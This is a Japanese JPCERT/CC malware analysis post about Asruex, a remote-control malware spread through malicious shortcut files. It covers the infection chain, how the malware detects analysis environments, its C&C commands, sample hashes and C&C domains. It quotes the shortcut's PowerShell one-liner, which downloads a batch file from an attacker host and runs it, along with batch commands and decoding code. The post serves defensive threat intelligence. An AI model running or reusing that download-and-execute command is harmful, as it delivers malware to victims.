ショートカットファイルから感染するマルウエアAsruex(2016-06-23)
JPCERT/CCでは、2015年10月頃から、不正なショートカットファイルが添付されたメールが宛先の組織を絞り込んで送信されていることを確認しています。このショートカットファイルを開くと、Asruexと呼ばれるマルウエアに感染します。Asruexは、リモートから操作する機能を持ったマルウエアで、メールを送信している攻撃者はこのマルウエアを利用してターゲットにした組織に侵入を試みていると考えられます。なお、このマルウエアは「DarkHotel」と呼ばれる攻撃グループに関連しているとマイクロソフトがブログ[1]に記載しています。(マイクロソフトは、この攻撃グループを「Dubnium」と呼んでいます。)
今回は、Asruexの詳細について紹介します。
Asruexが感染するまでの流れ
図1は、ショートカットファイルを開いてからAsruexに感染するまでの流れを示しています。
JPCERT/CCで確認しているショートカットファイルを開くと、ダウンローダが外部からダウンロードされ、実行されます。次に、ダウンローダが外部からAsruexをダウンロードし、実行します。この過程の各段階における詳細な挙動を次に解説します。
ショートカットファイルが開かれた時の挙動
ショートカットファイルを開くと内部に含まれている次のPowerShellが実行されます。
powershell -windowstyle hidden $c='(new-object System.Net.WebClient).D'+'ownloadFile("""http://online-dropbox.com/online/a """, """$env:tmp\gst.bat""")';Invoke-Expression $c&%tmp%\gst.bat "%CD%"
上記PowerShellによって、指定されているwebページからファイルがダウンロードされ、バッチファイルとして保存され、実行されます。ダウンロードされたバッチファイルには、次のようなコマンドが含まれており、PowerShellスクリプトが実行されます。(2ヶ所の赤で示した部分)
echo
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUw…
chcp 65001
cd "%tmp%"
start winword "article_draft.docx"
copy "article_draft.docx" "%1"
del /f "%1\*.*.lnk"
echo
powershell -Enc KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAUwB5AHMA…
"%tmp%\dwm.exe"
上記のバッチファイルを実行すると、Windows実行ファイル(ダウンローダ)とダミーの表示用文書が外部からダウンロードされ、%TEMP%フォルダに保存され、実行されます。ダミーで表示される文書は日本語のものだけではなく、中国語の文書なども用意されていることが確認されています。このことから、この手法による攻撃の標的となっているのは、日本の組織だけではないと考えられます。
ダウンローダの挙動の詳細
ダウンローダは実行されると、JPGまたはGIF画像ファイルをダウンロードします。画像ファイルの後半にはエンコードされたAsruexが含まれています。ダウンローダは、それをデコードして、実行します。
画像ファイルに含まれているAsruexは、XORでエンコードされています。以下は、Pythonで記述した画像ファイルのエンコードデータをデコードするコードです。なお、エンコードされたデータのサイズは画像ファイルの末尾4バイトに含まれています。
key = 0x1D # キーは検体によって異なる可能性がある for i in range(0, length): buf[i] = chr(ord(buf[i]) ^ key) key += 0x5D key &=0xff
ダウンローダ内は、多機能タスクマネージャーであるProcess Hackerをエンコードした状態で含んでいる場合があり、ウイルス対策ソフトを検知すると、Process Hackerを実行する可能性があります。なお、Symantec、McAfee、Kasperskyなどのウイルス対策ソフトがプロセス名を基に検知されます。
Asruexの挙動の詳細
Asruexは、特定のサイトとHTTPで通信を行い、受信した命令を実行するマルウエアです。仮想環境で動作していることを検知すると動作を停止する等、様々な耐解析機能を持っています。仮想環境を検知する条件の詳細に関しては、Appendix Aをご覧ください。また、ウイルス対策ソフトを検知する機能も持っています。
仮想環境を検知しなかった場合、次の実行ファイルいずれかを実行し、Asruex内に含まれるDLLファイルをインジェクションします。ウイルス対策ソフトを検知した場合は、DLLファイルを作成し、自身にロードします(DLLインジェクションは行わない)。このDLLは、Asruexの主要な動作を行う機能を担っています。
- sdiagnhost.exe
- wksprt.exe
- taskhost.exe
- dwm.exe
- winrshost.exe
- wsmprovhost.exe
- ctfmon.exe
- explorer.exe
インジェクションまたは作成されロードされるDLLは、まずダミーの通信先にHTTPリクエストを送信し、ステータスコード100以上が得られた場合、実際のC&Cサーバに接続します。C&Cサーバとは次のような通信を行います。
GET /table/list.php?a1=6fcadf059e54a19c7b96b0758a2d20a4396b85e77138dbaff3fddd04909de91 62a8910eab1141343492e90a78e75bfa7cafa3ed0a51740daa4cad36291e637074255217~省略~ HTTP/1.1 Connection: Keep-Alive Content-Type: text/plain; charset=utf-8 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 Host: [ホスト名]
Asruexは内部に保持する設定情報に従って動作します。C&Cサーバの情報やダミーの接続先は、その設定情報内に含まれています。設定情報にはその他にバージョン情報や受信および送信するデータをエンコードするためのキーが含まれています。設定情報の詳細に関しては、Appendix Bをご覧ください。
なお、設定情報はエンコードされています。Pythonで記述した、設定情報をデコードするコードを次に示します。
(config_size,) = struct.unpack("=I", data[offset:offset+4]) config_offset = offset + 4 encode_config = data[config_offset:config_offset+config_size] i = 0 seed = config_size * 2 // 2倍しない場合もある while i < config_size: (result, seed) = rand_with_seed(seed) result &= 0xff decode_data.append(chr(ord(encode_config[i]) ^ result)) i += 1 decode_config = "".join(decode_data) (decode_size,) = struct.unpack("=I", decode_config[config_size-4:config_size]) config = lznt1_decompress(decode_config, config_size, decode_size)
Asruexは、C&Cサーバからコマンドを受け取り実行します。実行する可能性があるコマンドは、表 1の通りです。コマンドの多くは、情報収集用ですが、中にはC&CサーバからDLLファイル(AdvProv.dll)をダウンロードして、実行するものもあります。AdvProv.dll は、Asruex の機能を拡張するプラグインです。
表 1: Asruexのコマンド
コマンド | 機能 |
1 | 感染端末の情報収集 |
2 | プロセス一覧取得 |
3 | ファイル一覧取得 |
4 | 待機時間変更 |
5 | バージョン情報取得 |
6 | アンインストール |
501 | フォルダ一覧取得 |
502 | DLLロード |
- | 外部DLL(AdvProv.dll)実行 |
AdvProv.dllの挙動の詳細
AdvProv.dll はXORおよび3DESで暗号化されています。復号キーは、通信先URLおよび設定情報のエンコードキーから算出される値です。Asruexは、DLLをダウンロード後、メモリ上に展開し、DLLのエクスポート関数Get_CommandProcを実行します。AdvProv.dllによって追加されるAsruexコマンドは次のとおりです。
表 2: AdvProv.dllによって追加されるAsruexコマンド
コマンド | 機能 |
101 | ダウンロード |
102 | ファイルのコピー |
103 | ファイル名変更 |
104 | ファイルタイム変更 |
105 | ファイル消去 |
106 | プロセス終了 |
107 | レジストリ調査 |
108 | レジストリエントリ確認 |
109 | レジストリエントリ作成 |
110 | レジストリエントリ確認 |
111 | レジストリエントリ削除 |
112 | 自身のアップデート |
601 | ファイルダウンロード・実行 |
JPCERT/CCが確認したAdvProv.dllは上記機能を持っていましたが、他の機能を持ったものが存在する可能性もあります。
おわりに
Asruexは、2015年10月頃から確認されるようになった比較的新しい種類のマルウエアです。今後もAsruexを利用した標的型攻撃が行われる可能性があるため、注意が必要です。
今回解説した検体のハッシュ値に関しては、Appendix Cに記載しています。また、これまでJPCERT/CCで確認しているAsruexの通信先はAppendix Dに記載していますので、このような通信先にアクセスしている端末がないかご確認ください。
分析センター 朝長 秀誠
参考情報
[1] Microsoft - Reverse-engineering DUBNIUM
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/
Appendix A Asruexが解析環境だと判断する環境
Asruexは表A-1から表A-6の条件のいずれかの環境を検知した場合、解析環境で動作していると判断し、動作を停止します。各表の詳細については、次の通りです。
表A-1: 表のコンピュータ名、ユーザ名の組合せの環境である場合、解析環境と判断します。
表A-2: ロードしているモジュールを列挙し、表の関数名がエクスポートされていた場合、解析環境と判断します。
表A-3: 表のファイル名が存在する場合、解析環境と判断します。
表A-4: 表のプロセス名が起動している場合、解析環境と判断します。
表A-5: 起動しているプロセスのモジュールを列挙し、モジュールのバージョン情報が表の組合せと一致する場合、解析環境と判断します。
表A-6: ディスク名に表の文字列が含まれている場合、解析環境と判断します。
表A-1:検知するコンピュータ名、ユーザ名の組合せ
コンピュータ名 | ユーザ名 |
BRBRB-D8FB22AF1 | antonie |
ANTONY-PC | Antony |
TEQUILABOOMBOOM | janettedoe |
HBXPENG | makrorechner |
IOAVM | Administrator |
XANNY | Administrator |
NONE-DUSEZ58JO1 | Administrator |
rtrtrele | Administrator |
HOME-OFF-D5F0AC | Dave |
DELL-D3E64F7E26 | Administrator |
JONATHAN-C561E0 | Administrator |
HANS | HanueleBaser |
IePorto | Administrator |
SANDBOXB | User |
pc9 | Administrator |
表 A-2: 検知する関数名
関数名 |
_SbieApi_QueeryProcessPath@28 |
hook_api |
New2_CreateProcessInternalW@48 |
表 A-3: 検知するファイル名
ファイル名 |
\\.\pipe\cuckoo |
[システムドライブ]:\cuckoo |
表 A-4: 検知するプロセス名
ファイル名 |
Filemon.exe |
Regmon.exe |
Procmon.exe |
Tcpview.exe |
wireshark.exe |
dumpcap.exe |
regshot.exe |
cports.exe |
smsniff.exe |
SocketSniff.exe |
表 A-5: 検知するファイルのバージョン情報の組合せ
FileDescription | CompanyName |
Filesystemmonitor | Sysinternals |
SysinternalsRegistryMonitor | Sysinternals |
ProcessMonitor | Sysinternals |
TCP/UDPendpointviewer | Sysinternals |
Wireshark | TheWiresharkdevelopercommunity |
Dumpcap | TheWiresharkdevelopercommunity |
Regshot | RegshotTeam |
CurrPorts | NirSoft |
SmartSniff | NirSoft |
SocketSniff | NirSoft |
表 A-6: 検知するディスク名
ディスク名 |
vmware |
Virtual HD |
MS VirtualSCSI Disk Device |
Appendix B 設定情報
表 B-1: 設定情報の一覧
オフセット | 長さ | 説明 |
0x000 | 16 | ID |
0x010 | 4 | バージョン情報 |
0x014 | 256 | インストールパス |
0x114 | 64 * 3 | ダミー通信先 3 |
0x1D4 | 256 * 3 | HTTPアクセスURL 3 |
0x4D4 | 256 | 送信データ保存パス1 |
0x5D4 | 64 | 送信データ文字列1 |
0x614 | 256 | 送信データ保存パス2 |
0x714 | 64 | 送信データ文字列2 |
0x754 | 64 | エンコードキー |
0x794 | 4 | 一時停止時間 |
0x798 | 256 * 3 | ファイル名 3 |
0xA98 | 4 | マシン情報(ポインタ) |
0xA9C | 4 | 接続先(ポインタ) |
0xAA0 | 4 | 未使用 |
エンコードキー
- blackolive
- darktea
- 12qw@#WE
Appendix C 検体のSHA-256ハッシュ値
ショートカットファイル
- c60a93a712d0716a04dc656a0d1ba06be5047794deaa9769a2de5d0fcf843c2a
- ae421dd24306cbf498d4f82b650b9162689e6ef691d53006e8f733561d3442e2
- 980cc01ec7b2bd7c1f10931822c7cfe2a04129588caece460e05dcc0bb1b6c34
- b175567800d62dcb00212860d23742290688cce37864930850522be586efa882
- c2e99eedf555959721ef199bf5b0ac7c68ea8205d0dff6c208adf8813411a456
- ac63703ea1b36358d2bec54bddfef28f50c635d1c7288c2b08cceb3608c1aa27
- 5cfc67945dd39885991131f49f6717839a3541f9ba141a7a4b463857818d01e6
- e76c37b86602c6cc929dffe5df7b1056bff9228dde7246bf4ac98e364c99b688
- 606e98df9a206537d35387858cff62eb763af20853ac3fa61aee8f3c280aaafe
ダウンローダ
- fdf3b42ac9fdbcabc152b200ebaae0a8275123111f25d4a68759f8b899e5bdd6
- dd2cba1a0d54a486a39f63cbd4df6129755a84580c21e767c44c0a7b60aff600
- d89e2cc604ac7da05feeb802ed6ec78890b1ef0a3a59a8735f5f772fc72c12ef
- caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8
- 8ca8067dfef13f10e657d299b517008ad7523aacf7900a1afeb0a8508a6e11d3
- 77ca1148503def0d8e9674a37e1388e5c910da4eda9685eabe68fd0ee227b727
- 05f241784e673f2af8a2a423fb66e783a97f123fc3d982144c39e92f191d138d
- a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827
- 2273236013c1ae52bfc6ea327330a4eba24cc6bc562954854ae37fe55a78310b
- 36581a19160f2a06c617a7e555ad8ec3280692442fd81bde3d47a59aea2be09a
- a3f1a4a5fea81a6f12ef2e5735bb845fb9599df50ffd644b25816f24c79f53b6
- 24b587280810fba994865d27f59a01f4bbdaf29a14de50e1fc2fadac841c299e
- 2c68cf821c4eabb70f28513c5e98fa11b1c6db6ed959f18e9104c1c882590ad2
- 3f2168a9a51d6d6fe74273ebfc618ded3957c33511435091885fa8c5f854e11e
- df72a289d535ccf264a04696adb573f48fe5cf27014affe65da8fd98750029db
- eacc46f54fa8c8a8cf51368305803d949fa2625066ec634da9a41d08f2855617
- e139a8916f99ce77dbdf57eaeac5b5ebe23367e91f96d7af59bee7e5919a7a81
- 8a6d76bd21e70a91abb30b138c12d0f97bb4971bafa072d54ce4155bea775109
- 35fc95ec78e2a5ca3c7a332db9ca4a5a5973607a208b9d637429fe1f5c760dd5
Asruex
- 8af41d303db8a975759f7b35a236eb3e9b4bd2ef65b070d19bd1076ea96fa5c4
- a9ce1f4533aeec680a77d7532de5f6b142eb8d9aec4fdbe504c37720befe9ce3
- 9350f7eb28f9d72698216105c51a4c5ad45323f907db9936357d6914fc992c90
- 694de22c0b1a45c0e43caaa91486bc71a905443b482f2d22ded16b5ce3b0e738
- 18e12feeb3fb4117ca99e152562eada2eb057c09aab8f7a424e6d889f70feb6c
- 148a834e2717d029a4450dfa7206fd7d36c420edb95068c57766da0f61b288e8
- d869ce2ba491713e4c3f405ad500245d883b0e7b66abeee2522e701c8493388a
- fca19a78fc71691f3f97808624b24f00dd1f19ccadcc6e3a7e2be5b976d8937b
- eb31f931f0e2abf340f3f95861a51e30677fd4216b2e4ee4d8570b41cb41249c
- 7a95930aa732d24b4c62191247dcdc4cb483d8febaab4e21ca71fec8f29b1b7c
AdvProv.dll
- f06000dceb4342630bf9195c2475fcd822dfe3910b0fa21691878071d0bb10fc
その他
- 6d4e7d190f4d7686fd06c823389889d226ea9c8524c82c59a765bba469f2f723
- e7d51bb718c31034b597aa67408a015729be85fc3aefcc42651c57d673a4fe5a
- 7074a6d3ab049f507088e688c75bae581fad265ebb6da07b0efd789408116ec8
Appendix D 通信先一覧
- vodsx.net
- office365-file.com
- service365-team.com
- datainfocentre.com
- eworldmagazine.org
- supportservice247.com
- seminarinfocenter.net
- vdswx.net
- housemarket21.com
- product-report24.com
- requestpg.net
- secu-docu.net
- send-error.net
- send-form.net
- wzixx.net
- login-confirm.com
- 2.gp
- 2.ly
- online-dropbox.com
- sendspaces.net
- institute-secu.org
- pb.media-total.org
- response-server.com
- enewscenters.com
- sbidnest.com
- servicemain.com